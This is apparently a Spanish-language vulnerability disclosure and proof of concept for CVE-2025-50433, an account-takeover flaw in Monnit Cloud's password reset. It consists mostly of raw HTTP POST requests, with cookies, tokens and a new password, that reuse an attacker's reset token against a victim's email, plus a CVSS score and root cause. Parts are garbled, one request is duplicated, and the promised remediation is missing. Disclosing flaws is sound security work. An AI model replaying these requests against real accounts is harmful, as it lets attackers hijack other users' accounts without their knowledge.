
Prueba de concepto para una toma de control crítica de cuentas en Monnit Cloud (CVE-2025-50433), que explota la falta de validación de token-correo en el restablecimiento de contraseña y proporciona pasos de ataque, causa raíz y remediación.
Existe una vulnerabilidad crítica de autenticación en *.imonnit.com que permite la apropiación total de cuentas (ATO) en cualquier cuenta de usuario sin interacción de la víctima. El backend no valida la asociación entre el token de restablecimiento de contraseña y el correo electrónico objetivo, lo que permite a los atacantes usar su propio token de restablecimiento válido para restablecer la contraseña de cualquier cuenta de víctima.
[email protected]).[email protected]). POST /Account/PasswordReset/?VerificationCode=TTT4EB4I HTTP/1.1
Host: www.imonnit.com
Cookie: ASP.NET_SessionId=jf3y4eg3qdrefnfnqcj42yut; __RequestVerificationToken=dObesuZNYwsn9USVixM8aZTa9i_E_18PRpfCE0L39NUJlfolWpjSYX0BW32_mK50O5fcGbr3oBMg2S6D4ONl0bJhJS4kmxtHeQEn8Y0kNNt324q5Hc0Gu3JBHH7CwrylvP8XNQ2
__RequestVerificationToken=-realtoken5K0nzPC8H2Aw2&NewPassword=1!Password%21&ConfirmPassword=1!Password%21&[email protected]&[email protected]
POST /Account/PasswordReset/?VerificationCode=TTT4EB4I HTTP/1.1
Host: www.imonnit.com
Cookie: ASP.NET_SessionId=jf3y4eg3qdrefnfnqcj42yut; __RequestVerificationToken=dObesuZNYwsn9USVixM8aZTa9i_E_18PRpfCE0L39NUJlfolWpjSYX0BW32_mK50O5fcGbr3oBMg2S6D4ONl0bJhJS4kmxtHeQEn8Y0kNNt324q5Hc0Gu3JBHH7CwrylvP8XNQ2
__RequestVerificationToken=-realtoken5K0nzPC8H2Aw2&NewPassword=1!Password%21&ConfirmPassword=1!Password%21&[email protected]&[email protected]
CVSS 3.1: 9.8 (Crítico)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
*.imonnit.com
El endpoint de restablecimiento de contraseña no valida que el token de restablecimiento pertenezca al mismo correo electrónico proporcionado durante la operación de restablecimiento, lo que permite restablecimientos arbitrarios de contraseña utilizando tokens controlados por el atacante.
/Account/PasswordReset/
Vendedor: Monnit Corporation
Mohamed Mandor (0xmandor) GitHub: https://github.com/0xmandor